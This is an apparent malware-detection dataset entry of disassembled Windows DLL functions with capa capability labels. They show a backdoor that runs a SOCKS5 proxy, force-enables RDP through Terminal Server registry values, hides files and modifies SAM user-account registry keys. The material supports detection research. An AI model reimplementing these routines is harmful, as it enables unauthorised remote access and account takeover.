joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cf50
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x39c
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x398], eax
push ebx
push esi
mov esi, edx
push edi
mov edi, ecx
test esi, esi
je 0x1000d0a0
call fcn.10001072
test al, al
je 0x1000cf8c
push str.Socks5_Already_Running
jmp 0x1000d097
cmp byte [0x1005bb21], 0
jne 0x1000cfbd
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
sete al
mov byte [0x1005bb21], al
test al, al
jne 0x1000cfcb
push 0x1004fcc8
jmp 0x1000d097
push 0x1004fcdc
push edi
call fcn.10007760
add esp, 8
push 0x200
lea eax, [esp + 0x1a4]
push 0
push eax
call fcn.10017bc0
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000cfe7
sub ecx, edx
cmp ecx, 0x200
jae 0x1000d00b
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000d000
sub ecx, edx
jmp 0x1000d010
mov ecx, 0x200
push ecx
lea eax, [esp + 0x1a4]
push esi
push eax
call fcn.10018130
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [esp + 0x1a8]
push eax
push 0x1000ce70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000d092
push str.Socks5_Thread_Successful
push edi
call fcn.10007760
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0x64
call ebx
call fcn.10001072
test al, al
jne 0x1000d08b
inc esi
cmp esi, 0x14
jb 0x1000d063
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x398]
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push str.Socks5_Running_Successfully
jmp 0x1000d097
push str.Socks5_Thread_Failure
push edi
call fcn.10007760
add esp, 8
mov ecx, dword [esp + 0x3a4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret

Function at 0x1000d0c0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
test esi, esi
je 0x1000d14b
cmp byte [0x1005bb21], 0
jne 0x1000d10f
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
sete al
mov byte [0x1005bb21], al
test al, al
jne 0x1000d11d
push str.Socket_Init_Failure
jmp 0x1000d142
push str.WinSock_Successful
push esi
call fcn.10007760
add esp, 8
cmp dword [0x1005bb70], 0
jbe 0x1000d12d
push str.It_Has_Been_Hooked
jmp 0x1000d142
call fcn.100123e0
test al, al
je 0x1000d13d
push str.Install_Hook_Successfully
jmp 0x1000d142
push str.Install_Hook_Failure
push esi
call fcn.10007760
add esp, 8
mov ecx, dword [esp + 0x19c]
pop esi
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000d500
Capabilities:
Modify service

Disassembly:
push ebx
push esi
push 0xf003f
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x1000d565
push edi
push 2
push 0x100501a0
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x1000d55d
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
movzx ebx, bl
mov ecx, 1
push edi
cmovne ebx, ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x1000d5d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x400
mov dword [ebp - 0x410], eax
mov edi, edx
lea eax, [ebp - 0x404]
mov dword [ebp - 0x408], 0
push 0
push eax
call fcn.10017bc0
add esp, 0xc
xor bl, bl
test edi, edi
je 0x1000d6c3
cmp dword [ebp - 0x410], 0
je 0x1000d6c3
test esi, esi
je 0x1000d6c3
lea eax, [ebp - 0x404]
push eax
push 0x1004feb4
push esi
call fcn.1000ab80
add esp, 0xc
cmp eax, 1
jne 0x1000d6c3
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x40c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push edi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000d6b0
push 4
lea eax, [ebp - 0x404]
push eax
push 4
push 0
push dword [ebp - 0x410]
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x40c]
test eax, eax
movzx ebx, bl
mov ecx, 1
cmove ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000d6e0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, edx
mov dword [ebp - 0x124], eax
push esi
mov esi, ecx
test eax, eax
je 0x1000d907
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.10017bc0
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x1000d8a3
cmp dword [ebp - 0x118], 1
jb 0x1000d8a9
push ebx
push edi
push 1
push 0
push 0
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x1000d8e9
push 4
push 0x100501a0
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ecx, eax
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ecx, ecx
je 0x1000d78c
push ecx
mov bl, 1
call eax
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call eax
test bl, bl
je 0x1000d8e9
push ecx
push 0x1004ff9c
push 0x1004ffa0
mov edx, 0x1004ffa8
call fcn.1000d5d0
add esp, 0xc
test al, al
je 0x1000d8f7
push ecx
push 0x100500b0
push str.TSEnabled
mov edx, str.SYSTEMCurrentControlSetControlTerminal_Server
call fcn.1000d5d0
add esp, 0xc
test al, al
je 0x1000d8f7
push ecx
push 0x1004feb8
push str.fDenyTSConnections
mov edx, 0x1004fed0
call fcn.1000d5d0
add esp, 0xc
test al, al
je 0x1000d8f7
push ecx
push 0x1004ff04
push str.TSUserEnabled
mov edx, 0x1004ff18
call fcn.1000d5d0
add esp, 0xc
test al, al
je 0x1000d8f7
push ecx
push 0x1004ff4c
push str.fSingleSessionPerUser
mov edx, 0x1004ff68
call fcn.1000d5d0
add esp, 0xc
test al, al
je 0x1000d8f7
call fcn.1000d500
test al, al
je 0x1000d8f7
push ecx
push dword [ebp - 0x124]
mov edx, str.SystemCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push 0x1005012c
call fcn.1000d5d0
add esp, 0xc
test al, al
je 0x1000d8f7
push str.Re_Install_TS_Successfullly
push esi
call fcn.10007760
add esp, 8
mov dword [ebp - 0x124], 0
lea edx, [ebp - 0x124]
mov ecx, 0x100501a0
call fcn.1000d470
test al, al
je 0x1000d905
mov eax, dword [ebp - 0x124]
cmp eax, 4
jne 0x1000d8c6
push str.TS_Is_Ready_To_Serve
jmp 0x1000d8fc
ja 0x1000d74f
push str.Windows_2000_Isnt_Supported
push esi
call fcn.10007760
add esp, 8
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x1000d8e2
call fcn.1000d570
test al, al
je 0x1000d8db
push str.Wait_5_To_10_Seconds_For_TS_Taking_Effect
jmp 0x1000d8fc
push str.Reboot_To_Take_Effect
jmp 0x1000d8fc
push str.Reboot_To_Take_Effect.
jmp 0x1000d8fc
push str.Terminal_Service_Has_Been_Deleted
push esi
call fcn.10007760
add esp, 8
push str.Fail_To_Re_Install_TS
push esi
call fcn.10007760
add esp, 8
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000da30
Capabilities:
Query or enumerate registry value
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 1
push 0
push 0
mov esi, ecx
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], 0
mov byte [ebp - 0x3d], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x1000db05
push ebx
push 4
push str.TermService
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x1000daaf
lea eax, [ebp - 0x38]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x1000daa8
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x3d], 1
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [ebp - 0x3d], 0
pop ebx
je 0x1000db05
mov eax, dword [ebp - 0x44]
dec eax
cmp eax, 6
ja case.default.0x1000dac6
jmp dword [eax*4 + 0x1000dbc0]
push str.Status__Running
jmp 0x1000db0a
push str.Status__Stopped
jmp 0x1000db0a
push str.Status__Start_Pending
jmp 0x1000db0a
push str.Status__Stop_Pending
jmp 0x1000db0a
push str.Status__Paused
jmp 0x1000db0a
push str.Status__Pause_Pending
jmp 0x1000db0a
push str.Status__Continue_Pending
jmp 0x1000db0a
push str.Status__Unknown
jmp 0x1000db0a
push str.Status__Failure
push esi
call fcn.10007760
add esp, 8
lea eax, [ebp - 0x3c]
push eax
push 1
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000dba0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push str.PortNumber
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000db79
push dword [ebp - 0x14]
push str.TS_Port___d
push esi
call fcn.10007760
add esp, 0xc
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push str.Fail_To_Query_Value
push esi
call fcn.10007760
add esp, 8
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push str.Fail_To_Open_Key
push esi
call fcn.10007760
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
pop edi
pop esi
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000dbe0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x80
lea eax, [ebp - 0x84]
mov edi, ecx
push 0
push eax
call fcn.10017bc0
add esp, 0xc
lea eax, [ebp - 0x84]
push 0x80
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x1000dc40
push str.Fail_To_Get_Host_Name
push edi
call fcn.10007760
add esp, 8
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
jne 0x1000dc72
push str.Fail_To_Get_Host_By_Name
push edi
call fcn.10007760
add esp, 8
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx + 0xc]
push esi
xor esi, esi
cmp dword [eax], esi
je 0x1000dcb3
xor ecx, ecx
nop
mov eax, dword [ecx + eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
test eax, eax
je 0x1000dca2
push eax
lea eax, [esi + 1]
push eax
push str._d:__s
push edi
call fcn.10007760
add esp, 0x10
mov eax, dword [ebx + 0xc]
inc esi
lea ecx, [esi*4]
cmp dword [ecx + eax], 0
jne 0x1000dc80
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000dcd0
Capabilities:
Check for time delay via gettickcount
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
test edi, edi
je 0x1000dda4
push 0x100
lea eax, [esp + 0x154]
push 0
push eax
call fcn.10017bc0
mov ecx, edi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000dd15
sub ecx, edx
cmp byte [edi + ecx - 1], 0x5c
jne 0x1000dd3d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x1869f
div ecx
push edx
push edi
push 0x100504d4
jmp 0x1000dd53
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x1869f
div ecx
push edx
push edi
push str._sData_.5d.Dat
lea eax, [esp + 0x15c]
push 0xff
push eax
call fcn.100076a0
add esp, 0x14
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, 0xffffffff
setne al
test al, al
lea eax, [esp + 0x150]
je 0x1000ddbb
push eax
push str._s_Exists
push ebx
call fcn.10007760
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x1000de31
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x1000de0b
push eax
push edi
push str._s_Error_Code___d
push ebx
call fcn.10007760
add esp, 0x10
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push edi
push 0x10050514
push ebx
call fcn.10007760
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
push str._s_Is_Writable
push ebx
call fcn.10007760
mov ecx, dword [esp + 0x260]
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000de70
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x400
lea eax, [ebp - 0x404]
mov esi, ecx
push 0
push eax
call fcn.10017bc0
add esp, 0xc
push 0
push 0
push str.Path
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1000df1b
cmp eax, 0x400
ja 0x1000df1b
push 0x3fe
lea eax, [ebp - 0x404]
push eax
push str.Path
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1000df1b
lea eax, [ebp - 0x404]
push 0x10050544
push eax
call fcn.1001ad67
add esp, 8
test eax, eax
je 0x1000df29
nop dword [eax]
mov edx, eax
mov ecx, esi
call fcn.1000dcd0
push 0x10050548
push 0
call fcn.1001ad67
add esp, 8
test eax, eax
jne 0x1000def0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
push str.Fail_To_Get_Data
push esi
call fcn.10007760
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100136f9
mov esp, ebp
pop ebp
ret

Function at 0x1000df40
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14c
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x148], eax
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
test edi, edi
je 0x1000dfb9
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, 0xffffffff
setne al
test al, al
jne 0x1000df8c
push edi
push 0x1005054c
jmp 0x1000dfb0
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
test eax, eax
je 0x1000dfab
push str.Delete__s_Successfully
jmp 0x1000dfb0
push str.Fail_To_Delete__s
push ebx
call fcn.10007760
add esp, 0xc
mov ecx, dword [esp + 0x154]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret

Function at 0x1000dfe0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14c
mov eax, dword [0x10059004]
xor eax, esp
mov dword [esp + 0x148], eax
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
test edi, edi
je 0x1000e04f
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, 0xffffffff
setne al
test al, al
jne 0x1000e02c
push edi
push str._s_Doesnt_Exist
jmp 0x1000e046
push 7
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
test eax, eax
je 0x1000e041
push str.Set__s_Successfully
jmp 0x1000e046
push str.Fail_To_Set__s
push ebx
call fcn.10007760
add esp, 0xc
mov ecx, dword [esp + 0x154]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000eac0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [str.0123456789ABCDEF]
mov eax, dword [0x10050830]
movups xmmword [ebp - 0x134], xmm0
push ebx
movups xmm0, xmmword [str.SAMSAMDomainsAccountUsersNames_]
mov dword [ebp - 0x124], edx
xor bl, bl
mov dword [ebp - 0xf4], eax
mov edx, ecx
mov al, byte [0x10050834]
movups xmmword [ebp - 0x114], xmm0
push esi
movups xmm0, xmmword [0x10050820]
mov dword [ebp - 0x11c], 0
mov esi, edx
mov byte [ebp - 0x14], bl
movups xmmword [ebp - 0x104], xmm0
mov byte [ebp - 0xf0], al
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x1000eb30
push edi
lea edi, [ebp - 0x114]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000eb41
mov ecx, edx
lea eax, [ebp - 0x11c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
push 0
mov ecx, edx
lea eax, [ebp - 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
test eax, eax
jne 0x1000ebf3
lea eax, [ebp - 0x118]
push eax
push 0
lea eax, [ebp - 0x120]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x11c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000ebe7
mov ecx, dword [ebp - 0x120]
mov bl, 1
mov edx, dword [ebp - 0x124]
mov eax, ecx
shr eax, 8
and eax, 0xf
mov byte [edx + 3], 0
movzx eax, byte [ebp + eax - 0x134]
mov byte [edx], al
mov eax, ecx
shr eax, 4
and eax, 0xf
and ecx, 0xf
movzx eax, byte [ebp + eax - 0x134]
mov byte [edx + 1], al
movzx eax, byte [ebp + ecx - 0x134]
mov byte [edx + 2], al
push dword [ebp - 0x11c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov al, bl
pop esi
xor ecx, ebp
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000ec10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
push ebx
push esi
push 0x1ff
mov dword [ebp - 0x224], eax
mov ebx, ecx
lea eax, [ebp - 0x213]
mov dword [ebp - 0x228], edx
push 0
push eax
movq qword [ebp - 0x13], xmm0
mov dword [ebp - 0xb], 0
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
call fcn.10017bc0
movups xmm0, xmmword [0x1005083c]
mov eax, 0x46
mov dword [ebp - 0x21c], 0
mov word [ebp - 0x14], ax
add esp, 0xc
mov eax, dword [0x10050854]
mov esi, ebx
mov dword [ebp - 0x1fc], eax
mov ax, word [0x10050858]
movups xmmword [ebp - 0x214], xmm0
mov word [ebp - 0x1f8], ax
movq xmm0, qword [0x1005084c]
mov al, byte [0x1005085a]
mov dword [ebp - 0x218], 3
mov byte [ebp - 0x21d], 0
movq qword [ebp - 0x204], xmm0
mov byte [ebp - 0x1f6], al
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x1000ecd0
push edi
lea edi, [ebp - 0x214]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000ece1
mov ecx, ebx
lea eax, [ebp - 0x21c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x214]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
test eax, eax
jne 0x1000ed70
push dword [ebp - 0x224]
lea eax, [ebp - 0x218]
push dword [ebp - 0x228]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x21c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
movzx ebx, byte [ebp - 0x21d]
test eax, eax
push dword [ebp - 0x21c]
mov ecx, 1
cmove ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x21d]
xor ecx, ebp
pop esi
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret
Function at 0x1000ed90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x10059004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push 0x1ff
mov dword [ebp - 0x220], eax
mov ebx, ecx
lea eax, [ebp - 0x213]
mov dword [ebp - 0x224], edx
push 0
push eax
call fcn.10017bc0
xorps xmm0, xmm0
mov dword [ebp - 0xb], 0
movq qword [ebp - 0x13], xmm0
mov eax, 0x46
movups xmm0, xmmword [str.SAMSAMDomainsAccountUsers_]
mov word [ebp - 0x14], ax
add esp, 0xc
mov eax, dword [0x10050878]
mov esi, ebx
mov dword [ebp - 0x1fc], eax
mov ax, word [0x1005087c]
movups xmmword [ebp - 0x214], xmm0
mov word [ebp - 0x1f8], ax
movq xmm0, qword [0x10050870]
mov al, byte [0x1005087e]
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
mov dword [ebp - 0x218], 0
mov byte [ebp - 0x219], 0
movq qword [ebp - 0x204], xmm0
mov byte [ebp - 0x1f6], al
mov al, byte [ebx]
inc ebx
test al, al
jne 0x1000ee42
push edi
lea edi, [ebp - 0x214]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000ee53
mov eax, dword [ebp - 0x224]
mov ecx, ebx
shr ecx, 2
xorps xmm0, xmm0
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [eax - 1]
movq qword [eax + 8], xmm0
add esi, dword [ebp - 0x220]
mov edi, 5
mov word [eax + 0x42], 0
call ebx
mov ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
mov eax, 0x1c
cmove ecx, eax
push ecx
mov byte [esi], cl
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [esi - 1]
sub edi, 1
jne 0x1000ee91
lea eax, [ebp - 0x218]
push eax
push 0xf003f
push edi
lea eax, [ebp - 0x214]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
test eax, eax
jne 0x1000ef33
push dword [ebp - 0x220]
mov edx, dword [ebp - 0x224]
push edx
push 3
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x218]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
movzx ebx, byte [ebp - 0x219]
test eax, eax
push dword [ebp - 0x218]
mov ecx, 1
cmove ebx, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100136f9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x219]
xor ecx, ebp
pop esi
pop ebx
call fcn.100136f9
mov esp, ebp
pop ebp
ret